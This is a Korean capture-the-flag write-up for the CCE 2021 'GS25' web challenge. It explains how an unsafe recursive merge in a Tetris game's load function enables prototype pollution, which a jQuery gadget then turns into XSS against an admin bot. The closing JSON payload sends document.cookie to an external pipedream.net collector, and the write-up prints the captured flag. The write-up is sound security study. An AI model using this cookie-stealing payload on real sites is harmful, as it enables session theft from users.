-
[Clear] CCE 2021 GS25 WriteupCTF/CCE 2021 2021. 9. 27. 22:22
테트리스 게임을 할 수 있는 페이지와 로봇 페이지가 주어진다.
게임 저장/불러오기 기능이 제공된다.
봇의 기능은 filename과 code를 입력하면
const express = require('express') const app = express() // const __DIR = '/usr/src/app' const __DIR = './' const puppeteer = require('puppeteer') const url = 'http://prob' /* express */ app.set('views', __DIR + '/views') app.set('view engine', 'ejs') app.engine('html', require('ejs').renderFile) app.use(express.json()) app.use(express.urlencoded({ extended: true })) app.get('/', (req, res) => { res.render('index') }) app.post('/', async (req, res) => { const { fileName, code } = req.body const cookies = [{ 'name': 'fileName', 'value': fileName }, { 'name': 'flag', 'value': 'cce2021{EXAMPLE_FLAG}' ##### ........................................ (1) } ] await (async () => { const browser = await puppeteer.launch({ args: ['--no-sandbox', '--disable-setuid-sandbox'] }) const page = await browser.newPage() page.on('dialog', async dialog => { if(dialog.message() == 'Input your game data code') await dialog.accept(code) else await dialog.dismiss() }) await page.goto(url, { waitUntil: 'networkidle2', }) await page.setCookie(...cookies) ##### await page.click('#playBtn') ##### ......................................... (2) await page.keyboard.type('l') ##### await new Promise(resolve => setTimeout(resolve, 1000)) await browser.close() })() res.send("Done") }) app.listen(80)
(1), (2) 와 같이 쿠키에 플래그를 추가 한 뒤에, 입력받은 정보의 게임을 load한다.
따라서, 게임이 로드되면서 xss를 발생 시킬 수 있다면 flag값이 포함된 쿠키를 탈취 할 수 있을것이라고 생각했다.
저장된 게임을 로드하는 로직에서 취약점이 있을 것이라고 생각하고 코드를 분석해보았다.
async function loadGame(){ const code = prompt('Input your game data code') const req = await axios.post('/loadGame', { code }) const result = req.data if (result.state !== 'ok') { alert('error') return } const data = req.data.data function isObject(obj) { return obj !== null && typeof obj === 'object' } function merge(a, b) { ##### ................................................... (1) for (let key in b) { if (isObject(a[key]) && isObject(b[key])) { merge(a[key], b[key]) } else { a[key] = b[key] } } return a } this.cGameInfo = new GameInfo() merge(this.cGameInfo, data) console.log(a) initScreen() initPiecesMap(cGameInfo.panelRow, cGameInfo.panelColume) initDisplayGamePanel(cGameInfo.panelColume, cGameInfo.panelRow) initNextBlockInfo() setNextPieces() clearInterval(this.cGameInfo.dropIntervalId) setDropInterval() $(document).off('keydown') ##### document.addEventListener('keydown', keyboardEventHandler) $(document).off('touchmove') ##### .............................................. (2) setControleButton() this.cGameInfo.changeSpeedDisplay() this.cGameInfo.updateScore(0) }
(1)과 같이 게임 정보를 merge하는 과정에서 Prototype Pollution 공격이 가능하다.
해당 공격 기법에 대한 내용은 아래 글을 참조하면 좋을 것 같다.
https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/
Node.js에서의 프로토타입 오염 공격이란 무엇인가
__proto__을 이용한 프로토타입 오염(prototype pollution) 공격의 원리를 설명하면서 노드 환경에서 실제 공격이 가능한 사례를 함께 소개합니다.
blog.coderifleman.com
프로토 타입을 오염시키더라도 이를 호출하는 구간이 없다고 생각해서 많이 헤맸다. 그 해답은 jquery에 있었다.
merge가 일어난 후에 호출되는 구간이 도저히 안보여서 생소한 내용이었던 $(document.)off('~~~')에서 취약점이 발생할 가능성이 있는지 공부하다가 jquery에서 xss를 발생시키는 가젯 예시에대한 자료를 찾았다.
https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md
GitHub - BlackFan/client-side-prototype-pollution: Prototype Pollution and useful Script Gadgets
Prototype Pollution and useful Script Gadgets. Contribute to BlackFan/client-side-prototype-pollution development by creating an account on GitHub.
github.com
이를 참조하여 아래와 같이 Prototype Pollution 과 jqeury xss 취약점을 이용해서 플래그를 획득 할 수 있었다.
{ "data": { "__proto__": { "__proto__": { "preventDefault": "x", "handleObj": "x", "delegateTarget": "<img/src/onerror=fetch(`https://79a9bb50560aa2c77156e03b431dc2b3.m.pipedream.net/?f=`+document.cookie)>" } } } }
FLAG = cce2021{5cd5185ef46ce86f6c33543f75752a559fa843ec91a1176144f1a15d468f318d}
이 풀이 말고, 시도했다가 실패했지만 조금 더 섬세하게 시도했으면 보다 빨리 풀었을듯한 풀이를 소개하자면, 게임 화면에 표기되는 gameScoreTag에 아예 innerHTML을 지정하여 XSS를 발생시키는 방법이었다. 분명 똑같이 시도했던거같은데 안되었었는데..
대회 종료 후 해당 풀이 또한 유효함을 확인 할 수 있었다. (왜 내가 했을 땐 안됬지..?)
반응형'CTF > CCE 2021' 카테고리의 다른 글
[Clear] CCE 2021 ptmd Writeup (0) 2021.09.27